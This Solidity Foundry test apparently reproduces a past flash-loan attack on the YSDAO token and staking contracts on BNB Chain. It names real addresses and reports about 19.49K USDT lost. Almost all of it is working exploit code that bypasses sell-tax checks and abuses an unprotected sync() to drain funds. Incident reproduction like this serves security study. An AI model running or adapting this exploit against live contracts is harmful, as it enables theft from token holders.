src/test/2026-05/YSDAO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost : ~19.49K USDT
7// Attacker : https://bscscan.com/address/0x8114650Cfd2617CD05C59898De7C620ae413b460
8// Attack Contract : https://bscscan.com/address/0xafBf780569B95C5766F78b9CC5788899Aa5616Af
9// Vulnerable Token : https://bscscan.com/address/0xc036A13D7A6A84677DfCcec483eED124654B7918
10// Vulnerable Staking : https://bscscan.com/address/0x3E13019dA3BAAd134493e751704D2D4245Eec7CA
11// Attack Tx : https://bscscan.com/tx/0x91f26d96373bbec6a6a8517c7be995a739d65f20fed589d53bc47d8140f91907
12//
13// @Analysis
14// YSDAO's transfer protection detects add/remove liquidity by reading the Pancake V2
15// pair's current token balances against reserves. The attacker combines a V3 USDT
16// flash loan with a V2 pair callback:
17//   1. Buy YSDAO while making the pair output 1 wei USDT, so _isRemoveLiquidity()
18//      sees pair USDT balance below reserve and skips buy tax/cooldown accounting.
19//   2. Call Staking.sync(). It has no access control and transfers all staking-held
20//      USDT into the YSDAO/USDT pair, then pair.sync(), raising the apparent YSDAO price.
21//   3. Transfer 1 USDT into the pair before selling, so _isAddLiquidity() treats the
22//      sale as liquidity addition and bypasses the harsher sell/profit-tax path.
23 
24interface IERC20Minimal {
25    function balanceOf(address account) external view returns (uint256);
26    function transfer(address to, uint256 amount) external returns (bool);
27    function approve(address spender, uint256 amount) external returns (bool);
28}
29 
30interface IPancakeV2PairMinimal {
31    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
32    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
33}
34 
35interface IPancakeV2RouterMinimal {
36    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external pure returns (uint256 amountOut);
37    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
38        uint256 amountIn,
39        uint256 amountOutMin,
40        address[] calldata path,
41        address to,
42        uint256 deadline
43    ) external;
44}
45 
46interface IPancakeV3PoolMinimal {
47    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
48}
49 
50interface IYSDAOStaking {
51    function sync() external;
52}
53 
54contract YSDAO_exp is Test {
55    address constant ATTACKER = 0x8114650Cfd2617CD05C59898De7C620ae413b460;
56    address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
57    address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
58    address constant YSDAO = 0xC036A13d7A6A84677DfCCeC483eed124654B7918;
59    address constant STAKING = 0x3E13019dA3BAAd134493e751704D2D4245Eec7CA;
60    address constant YSDAO_USDT_PAIR = 0x24Df7bdBC67b0EB03074Ea9d8CbbA0445fB35937;
61    address constant USDT_WBNB_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
62    address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
63 
64    uint256 constant FLASH_AMOUNT = 8_000_002 ether;
65    uint256 constant BUY_USDT_AMOUNT = 8_000_000 ether;
66    uint256 constant PAIR_CALLBACK_REPAY = 8_000_000 ether + 2;
67 
68    function setUp() public {
69        vm.createSelectFork("bsc", 101_088_361 - 1);
70 
71        vm.label(ATTACKER, "Attacker EOA");
72        vm.label(USDT, "USDT");
73        vm.label(WBNB, "WBNB");
74        vm.label(YSDAO, "YSDAO");
75        vm.label(STAKING, "YSDAO Staking");
76        vm.label(YSDAO_USDT_PAIR, "YSDAO/USDT Pair");
77        vm.label(USDT_WBNB_V3_POOL, "USDT/WBNB V3 Pool");
78        vm.label(PANCAKE_ROUTER, "Pancake Router");
79    }
80 
81    function testExploit() public {
82        uint256 beforeBalance = IERC20Minimal(USDT).balanceOf(address(this));
83 
84        IPancakeV3PoolMinimal(USDT_WBNB_V3_POOL).flash(
85            address(this), FLASH_AMOUNT, 0, abi.encode(USDT_WBNB_V3_POOL, FLASH_AMOUNT)
86        );
87 
88        uint256 afterBalance = IERC20Minimal(USDT).balanceOf(address(this));
89        uint256 profit = afterBalance - beforeBalance;
90 
91        console.log("USDT profit:", profit / 1e18);
92        assertApproxEqAbs(profit, 19_490.907296125583506343 ether, 1e12, "unexpected USDT profit");
93    }
94 
95    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
96        (address pool, uint256 amount) = abi.decode(data, (address, uint256));
97        require(msg.sender == pool && msg.sender == USDT_WBNB_V3_POOL, "invalid flash callback");
98        require(fee1 == 0, "unexpected token1 fee");
99 
100        (uint112 reserveUSDT, uint112 reserveYSDAO,) = IPancakeV2PairMinimal(YSDAO_USDT_PAIR).getReserves();
101        uint256 ysdaoOut =
102            IPancakeV2RouterMinimal(PANCAKE_ROUTER).getAmountOut(BUY_USDT_AMOUNT, reserveUSDT, reserveYSDAO);
103 
104        // Outputting 1 wei USDT makes YSDAO's _isRemoveLiquidity() branch true during token transfer.
105        IPancakeV2PairMinimal(YSDAO_USDT_PAIR).swap(1, ysdaoOut, address(this), hex"30783031");
106 
107        // Anyone can call this. It donates staking-held USDT into the pair and syncs reserves.
108        IYSDAOStaking(STAKING).sync();
109 
110        // Makes YSDAO's _isAddLiquidity() branch true before selling through the router.
111        IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, 1 ether);
112 
113        IERC20Minimal(YSDAO).approve(PANCAKE_ROUTER, type(uint256).max);
114        address[] memory path = new address[](2);
115        path[0] = YSDAO;
116        path[1] = USDT;
117 
118        uint256 ysdaoBalance = IERC20Minimal(YSDAO).balanceOf(address(this));
119        IPancakeV2RouterMinimal(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
120            ysdaoBalance, 0, path, address(this), block.timestamp + 60
121        );
122 
123        IERC20Minimal(USDT).transfer(USDT_WBNB_V3_POOL, amount + fee0);
124    }
125 
126    function pancakeCall(address, uint256, uint256, bytes calldata) external {
127        require(msg.sender == YSDAO_USDT_PAIR, "invalid v2 callback");
128        IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, PAIR_CALLBACK_REPAY);
129    }
130}